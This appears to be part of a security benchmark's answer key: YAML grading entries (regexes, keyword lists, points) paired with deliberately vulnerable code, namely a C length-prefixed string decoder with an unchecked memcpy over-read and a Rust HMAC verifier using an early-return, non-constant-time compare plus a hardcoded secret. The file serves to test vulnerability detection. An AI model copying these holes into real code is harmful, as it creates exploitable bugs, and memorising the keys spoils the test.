exploit_pattern_regex: '(declared.*length|length.*field|missing.*bounds|memcpy.*end|p\s*\+\s*declared|attacker.*controlled.*length|over[- ]read)'
must_mention_any:
- declared length
- missing bounds check
- no validation
- end pointer
- memcpy
- over-read
- out-of-bounds read
- p + declared_len
- buf_len
points: 30
memorization_resistant: true
notes: |
Synthetic — novel pattern. declared_len comes from the wire varint and is
used directly as memcpy length and malloc size. Nothing checks
declared_len against (end - p). Attacker sets declared_len = 0xFFFFFFFF →
malloc small (with overflow on +1) and/or memcpy reads way past buf_end,
disclosing adjacent heap. Also potential integer overflow on malloc(len+1)
when len == SIZE_MAX.
@@ -0,0 +1,44 @@
/*
* pb_decode_string — protobuf-like string decoder.
* Pre-fix; internal RPC layer.
*
* Wire format: <varint length> <length bytes of data>
* Caller passes a buffer; this writes the decoded length-prefixed string
* into a heap buffer allocated based on the wire-supplied length.
*/
#include <stddef.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
static int read_varint(const uint8_t **p, const uint8_t *end, uint64_t *out) {
uint64_t v = 0; int shift = 0;
while (*p < end) {
uint8_t b = *(*p)++;
v |= ((uint64_t)(b & 0x7f)) << shift;
if ((b & 0x80) == 0) { *out = v; return 0; }
shift += 7;
if (shift > 63) return -1;
}
return -1;
}
/* Returns a newly malloc'd copy of the decoded string. *out_len gets length. */
char *pb_decode_string(const uint8_t *buf, size_t buf_len, size_t *out_len) {
const uint8_t *p = buf, *end = buf + buf_len;
uint64_t declared_len = 0;
if (read_varint(&p, end, &declared_len) != 0) return NULL;
/* allocate +1 for nul terminator */
char *s = (char *)malloc((size_t)declared_len + 1);
if (s == NULL) return NULL;
/* copy declared_len bytes from the wire */
memcpy(s, p, (size_t)declared_len);
s[declared_len] = '\0';
*out_len = (size_t)declared_len;
return s;
}
@@ -0,0 +1,28 @@
cve: POSTCUT-005
alias: Session HMAC verifier timing side channel (custom non-CT compare in Rust)
cwe_primary: CWE-208
cwe_acceptable: [CWE-208, CWE-203, CWE-385, CWE-1254, CWE-310]
target_file: source.rs
vuln_lines: [34, 35, 36, 37, 38, 39, 40]
severity: high
vuln_class: timing_attack
exploit_pattern_regex: '(short[- ]circuit|early[- ]return|constant[- ]time|timing\s*attack|subtle::ConstantTimeEq|ct_eq|byte[- ]by[- ]byte)'
must_mention_any:
- timing attack
- short-circuit
- early return
- constant-time
- byte-by-byte
- ConstantTimeEq
- subtle
- timing side
- sig[i] != expected[i]
- return None
points: 30
memorization_resistant: true
notes: |
Synthetic — novel. Same anti-pattern as POSTCUT-003 but in Rust. The
`for i in 0..sig.len()` loop returns None on first mismatch — leaks
byte position via timing. Fix: use `subtle::ConstantTimeEq` or
`ring::constant_time::verify_slices_are_equal`.
Pair with POSTCUT-003 to test if the hunter generalizes across languages.
@@ -0,0 +1,40 @@
// Session cookie verifier — internal Rust micro-service, pre-fix v0.7.0.
// We sign session blobs with HMAC-SHA256 and ship them as a base64 cookie.
use base64::{Engine as _, engine::general_purpose};
use hmac::{Hmac, Mac};
use sha2::Sha256;
type HmacSha256 = Hmac<Sha256>;
const SECRET: &[u8] = b"deployment-time-key"; // 19 bytes
fn sign(payload: &[u8]) -> String {
let mut mac = HmacSha256::new_from_slice(SECRET).unwrap();
mac.update(payload);
let sig = mac.finalize().into_bytes();
let mut out = Vec::with_capacity(payload.len() + 32);
out.extend_from_slice(payload);
out.extend_from_slice(&sig);
general_purpose::URL_SAFE_NO_PAD.encode(out)
}
pub fn verify_session(cookie: &str) -> Option<Vec<u8>> {
let raw = general_purpose::URL_SAFE_NO_PAD.decode(cookie).ok()?;
if raw.len() < 32 { return None; }
let split_at = raw.len() - 32;
let (payload, sig) = raw.split_at(split_at);
let mut mac = HmacSha256::new_from_slice(SECRET).unwrap();
mac.update(payload);
let expected = mac.finalize().into_bytes();
// Custom compare — we want short-circuit so attackers don't get to
// burn CPU by sending huge cookies.
if sig.len() != expected.len() { return None; }
for i in 0..sig.len() {
if sig[i] != expected[i] { return None; }
}
Some(payload.to_vec())
}